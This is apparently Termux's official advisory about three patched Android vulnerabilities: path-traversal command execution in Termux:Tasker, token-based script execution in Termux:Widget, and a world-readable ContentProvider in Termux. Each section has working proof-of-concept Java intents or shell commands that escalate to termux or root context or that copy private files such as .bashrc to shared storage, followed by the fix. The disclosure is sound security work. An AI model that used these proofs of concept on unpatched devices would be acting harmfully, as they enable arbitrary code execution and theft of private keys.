Termux Apps Vulnerability Disclosures
This is a vulnerability report for termux-app
, termux-tasker
and termux-widget
.
It is being released on 2022-02-15
, after 30
days of termux-app
v0.118.0
release and ~150
days since Google Playstore builds were officially deprecated with a terminal banner added in termux-tools
v0.135
and termux-app
readme was updated with deprecation details. This should have allowed enough time for users on Google Playstore builds (latest version v0.101
) to move to F-Droid/Github releases for Termux
app and all its plugin apps and enough time for other Termux
app users on <= v0.117
to update to >= v0.118.0
.
Users are advised to immediately update to Termux
v0.118.0
, Termux:Tasker
v0.5
and Termux:Widget
v0.13.0
if they are using any older version.
Contents
- 1. Termux:Tasker Privilege Escalation Vulnerability
- 2. Termux:Widget Privilege Escalation Vulnerability
- 3. Termux Files World Readable
1. Termux:Tasker Privilege Escalation Vulnerability
This vulnerability allowed execution of any command in termux
context or even root
context if termux had been granted root permissions by any app.
The vulnerability existed since the first release of the plugin v0.1
(2016-12-26
) till <= v0.4
and was fixed in v0.5
(2020-12-07
).
The vulnerability existed in FireReceiver
of the Termux:Tasker
app where it didn't check the full canonical path of the executable and executed it as is. The Termux:Tasker
app is only meant to allow scripts in ~/.termux/tasker
directory to be executed to prevent arbitrary commands to be run in termux context by other apps but without the canonical path check for the executable, an app could send ../../../usr/bin/bash
as the executable value and -c "some termux context command"
as args value to run commands in termux
context or send ../../../usr/bin/su
as the executable value and -c "some root context command"
as args value to run commands in root
context.
Note that it does not require a plugin app to send intents to FireReceiver
, but any app can send the intent using java. The Termux:Tasker Exploit
task does just that and uses Tasker
java actions to emulate how a normal app would send an intent.
1. Proof Of Concept
Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");
Bundle bundle = new Bundle();
bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);
intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
context.sendBroadcast(intent);
1. Fix
-
To send an intent to
FireReceiver
now requirescom.termux.permission.RUN_COMMAND
, adangerous
runtime permission, to be granted to the calling app, which was published by Termux app. The Tasker app already had requested the permission sincev5.9.3
forRUN_COMMAND
intent before thev0.5
release but other automation apps would have had to request the permission in later versions. (26da42f7
) -
The canonical path of the executable received by
FireReceiver
was found before it was processed. Thev0.5
release officially added support to allow executables outside the~/.termux/tasker
directory, but only if user had explicitly addedallow-external-apps=true
to~/.termux/termux.properties
. (a5af3db3
)
This dual permission model enforced by android os permission and an app setting for absolute paths provides reasonable security against any arbitrary code execution or privilege escalation unless users grant the permission to untrusted apps.
Check Termux:Tasker
README
for more details on new design.
1. Discussion
This kind of vulnerability partly existed because any app can send intents to plugin apps of automation apps like Tasker
. The Tasker
app and the locale
plugin protocol library it uses were created around 2008
. At that time runtime permissions didn't exist and security and possible dangerous uses of plugins may not have been a top priority/concern. However, it is indeed especially concerning for plugin apps that are granted privileged permissions like device admin/owner and accessibility services or even storage, location, etc. For example the SecureTask
plugin needs to be set as device admin or even owner for a lot of its features. If a user has installed the app on their phone and have granted the device admin permission to SecureTask
, any app could send intents to it directly without going through Tasker to run privileged commands, including wiping the device.
The Termux:Tasker
requirement for com.termux.permission.RUN_COMMAND
permission requires Tasker and all other automation apps to request the permission in their AndroidManifest.xml
, but this can't be expected to be done for almost every plugin that exists since it would require manual intervention of all automation app devs. Moreover, private plugins may exist to with their custom permissions, whose info their devs may not want to release to the public. Possibly some kind of token generation and validation mechanism needs to be designed, possibly as core part locale
library. Hopefully, more thought can be given to this and termux, automation and locale
lib devs can collaborate to implement something in (near) future, since current design is not how it should be.
2. Termux:Widget Privilege Escalation Vulnerability
This vulnerability allowed execution of any command in termux
context or even root
context if termux had been granted root permissions by any launcher app in which the user had created a launcher shortcut and by any malicious app which started the Termux:Widget
shortcut chooser activity and user accidentally selected a shortcut regardless of if the app was the default launcher or not.
The vulnerability existed since the first release of the plugin v0.3
(2015-12-20
) till <= v0.12
and was fixed in v0.13.0
(2021-09-23
).
The Termux:Widget
"security" worked by generating a token and storing it in shared preferences. Now every time a static shortcut was created for a launcher app, it was sent this token as an extra in the shortcut intent created. When the user triggered the shortcut, the shortcut intent was sent by the launcher app and received by TermuxLaunchShortcutActivity
and it was checked if the one in the intent matched against the one stored in shared preferences. Now this provided decent security and is usually how APIs work, but no canonical path validation was being done before passing it to TermuxService
. It was not checked if the canonical path was under the ~/.shortcuts
directory. So basically once a malicious launcher or any app had received a token, it could run any command at any time by sending a custom path like /sdcard/exploit.sh
for foreground commands or /sdcard/tasks/exploit.sh
for background commands (Termux:Widget
would assume it as background since parent dirname would equal tasks
).
2. Proof Of Concept
-
Install
Termux:Widget
v0.12
. -
Create a shortcut from termux terminal:
touch ~/.shortcuts/tasks/test
-
Get the token being used by
Termux:Widget
by installingTaskerLauncherShortcut
and open it, then options (3 dots at top right) ->Search Shortcuts
->Static Shortcut
->Termux:Widget
-> Select any shortcut and an intent uri will be copied to clipboard, something likecom.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end
. You can also get the token by running following in termux terminalcat /data/data/com.termux.widget/shared_prefs/token.xml
after creating at least one launcher shortcut. -
Create an exploit file from termux terminal:
echo 'whoami; su -c whoami; sleep 5' > /sdcard/exploit.sh
-
Trigger the exploit from termux terminal or
adb shell
:am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025
Or use java from any app.
Intent intent = new Intent();
intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
intent.setData(Uri.parse("/sdcard/exploit.sh"));
intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
startActivity(intent);
The termux app will run the /sdcard/exploit.sh
script with /data/data/com.termux/files/usr/bin/sh
and /sdcard
being mounted as noexec
would not be an issue.
2. Fix
-
Use
ShortcutManager
APIs to create pinned shortcut on android version>=8
. This is better way to create shortcuts since launcher does not get access to shortcut data of the app and android itself stores them, so even the launcher app would not get the token and would not be able to run any scripts whose shortcut was not explicitly created by the user. For more info on shortcut types, check https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types. (e94d7777
) -
The token being previously used and shortcuts created on older versions of
Termux:Widget
were invalidated so that in case a malicious app already had the token, it could not use it anymore and so that users on Android>= 8
were forced to re-create their shortcuts with safer pinned shortcuts API instead of continuing to use the old unsafer static shortcuts API. (32f344ee
) -
The canonical path of the executable received by
TermuxLaunchShortcutActivity
was found before it was processed. Shortcuts that were broken symlinks or whose canonical path was not under the~/.shortcuts
or~/.termux
directory were not shown and execution for the later was not allowed even if the path was sent. (32f344ee
,32f344ee
,bcb0ab6c
)
Using pinned shortcuts on android version >=8
and not allowing execution of files whose canonical path was not under the ~/.shortcuts
or ~/.termux
directory provides reasonable security against any arbitrary code execution or privilege escalation. Users who are on Android versions < 8
would still have to use static shortcuts and should be careful about which apps they create a shortcut in, since such apps would be able to execute any scripts under the allowed directories. Users generally should be very careful about which launcher or non-launcher shortcut apps (like Shortcut Maker) they install on their device, since these apps get to execute dangerous shortcuts for apps which can have serious consequences if not protected properly by the apps.
Check Termux:Widget
README
for more details on new design.
3. Termux Files World Readable
This vulnerability allowed all files under /data/data/com.termux/files
to be readable by any app.
The vulnerability existed since v0.47
(2017-02-28
) till <= v0.117
and was fixed in v0.118.0
(2022-01-08
).
The vulnerability existed in the termux ContentProvider
declaration since it had set android.permission.permRead
as readPermission
. Basically, termux passes the FLAG_GRANT_READ_URI_PERMISSION
flag when user requests to open a file with another app, like with termux-open
, so the target app doesn't need to have the android.permission.permRead
permission to be able to read the file, which also requires grantUriPermissions="true"
in the provider
element. However, if some app has the permission, it can read any files under files
directory as set by termux TermuxOpenReceiver$ContentProvider.openFile()
.
Issue was that termux did not declare/publish the android.permission.permRead
permission, like it does the com.termux.permission.RUN_COMMAND
custom permission. Its a dummy permission, likely copied from some tutorial or stackoverflow answer when the ContentProvider
was added, since internet searches reveal various random results from different sites for it. It was meant to be replaced with a custom permission published by the app, but it was not. That resulted in any app to just publish the permission in its own AndroidManifest.xml
and grant itself the permission with uses-permission
entry and then be able to read any files under files
directory.
Note that other apps could only read the files, but not write to them since TermuxOpenReceiver$ContentProvider.openFile()
returned the ParcelFileDescriptor.MODE_READ_ONLY
file mode, so writing was not possible and caller would get java.io.IOException: write failed: EBADF (Bad file descriptor)
errors if it tried to write, There was also no writePermission
set in the provider
element. This at least prevented arbitrary code execution and privilege escalation, which obviously would have been much worse for some cases.
3. Proof Of Concept
The following POC reads the /data/data/com.termux/files/home/.bashrc
and writes it to /sdcard/bashrc.txt
.
private void runTermuxContentProviderReadCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
InputStream inputStream = null;
FileOutputStream fileOutputStream = null;
try {
inputStream = context.getContentResolver().openInputStream(uri);
File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
fileOutputStream = new FileOutputStream(outFile);
byte[] buffer = new byte[4096];
int readBytes;
while ((readBytes = inputStream.read(buffer)) > 0) {
Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
fileOutputStream.write(buffer, 0, readBytes);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (inputStream != null)
inputStream.close();
if (fileOutputStream != null)
fileOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
<permission
android:name="android.permission.permRead"
android:description="@string/permission_termux_provider_description"
android:icon="@mipmap/ic_launcher"
android:label="Termux Provider"
android:protectionLevel="normal" />
<uses-permission android:name="android.permission.permRead" />
3. Fix
-
The dummy
android.permission.permRead
readPermission
was silently replaced withcom.termux.permission.RUN_COMMAND
in termuxContentProvider
declaration. It seemed appropriate to use the samecom.termux.permission.RUN_COMMAND
permission used forRUN_COMMAND
intent and other plugin command executions for accessing files as well since commands can access files anyways, and it would be easier for third party apps to request a single permission. (b62645cd
) -
The file mode returned by
TermuxOpenReceiver$ContentProvider.openFile()
which was previouslyParcelFileDescriptor.MODE_READ_ONLY
was changed to allow both read and write or more specially any file mode defined byParcelFileDescriptor.parseMode()
. With this change, apps that don't have thecom.termux.permission.RUN_COMMAND
permission are denied access, unless temporary read permission was granted throughtermux-open
. For apps with the permission, they can use something like the following for reading and writing. Note that writing to external storage will fail withFile
APIs (outFile.createNewFile()
) if scoped storage restrictions are being enforced for the calling app, like fortargetSdkVersion
> 28
. (b62645cd
)
Sample code to read/write termux files for v0.118.0+
private void runTermuxContentProviderWriteCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/test.sh");
FileOutputStream fileOutputStream = null;
BufferedWriter bufferedWriter = null;
ParcelFileDescriptor parcelFileDescriptor = null;
try {
parcelFileDescriptor = context.getContentResolver().openFileDescriptor(uri, "wt");
Log.d(LOG_TAG, "parcelFileDescriptor: " + parcelFileDescriptor.describeContents());
fileOutputStream = new FileOutputStream(parcelFileDescriptor.getFileDescriptor());
bufferedWriter = new BufferedWriter(new OutputStreamWriter(fileOutputStream, Charset.defaultCharset()));
bufferedWriter.write("echo 'some script'\n");
bufferedWriter.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (parcelFileDescriptor != null)
parcelFileDescriptor.close();
if (fileOutputStream != null)
fileOutputStream.close();
if (bufferedWriter != null)
bufferedWriter.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void runTermuxContentProviderReadCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
InputStream inputStream = null;
FileOutputStream fileOutputStream = null;
try {
inputStream = context.getContentResolver().openInputStream(uri);
File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
if (!outFile.exists())
outFile.createNewFile();
fileOutputStream = new FileOutputStream(outFile);
byte[] buffer = new byte[4096];
int readBytes;
while ((readBytes = inputStream.read(buffer)) > 0) {
Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
fileOutputStream.write(buffer, 0, readBytes);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (inputStream != null)
inputStream.close();
if (fileOutputStream != null)
fileOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
- The termux
ContentProvider
access was only allowed ifallow-external-apps
was set totrue
in~/.termux/termux.properties
. This also results intermux-open
andxdg-open
command to silently fail if value is not set totrue
inv0.118.0
. An error notification will be added in future versions. The caller app likeQuickEdit
may still show a flash error. Check https://github.com/termux/termux-tasker#allow-external-apps-property-optional on info on how to change the value. Write access throughContentProvider
was also disabled for~/.termux/termux.properties
so that apps couldn't modify termux settings without user consent, although they can still do it withRUN_COMMAND
intent for now, at least until whitelisting commands is implemented to give users more control. (dcedf394
,e302a14c
)
3. Discussion
All private files like security keys for ssh
or encryption keys should be assumed to be compromised for users who were using termux app version <= v0.117
. It is highly advisable to replace any such keys with new ones and look into any suspicious authorized access on any remote servers being connected to from termux.
People who are still using Google Playstore version are advised to immediately shift to F-Droid or Github releases since updates will not be released on Google Playstore any time soon, if ever, due to Android 10
issues. Playstore builds were deprecated more than ~150
days ago and are no longer supported. Check https://github.com/termux/termux-app#installation for more info on where to install/update the Termux app.
Google Playstore, F-Droid and other stores should ideally also add checks to see if any other apps are using android.permission.permRead
or android.permission.permWrite
permissions or other dummy permissions found in internet searches in the app ContentProvider
declarations and notify their devs since those apps would be vulnerable as well to such vulnerabilities. Moreover, any malicious apps declaring or requesting those permissions should also be caught and removed.
It would also be highly appreciated if any other devs review Termux
and plugin apps code for any other potential vulnerabilities that may exist so that they can be fixed as well to provide safer environment for users.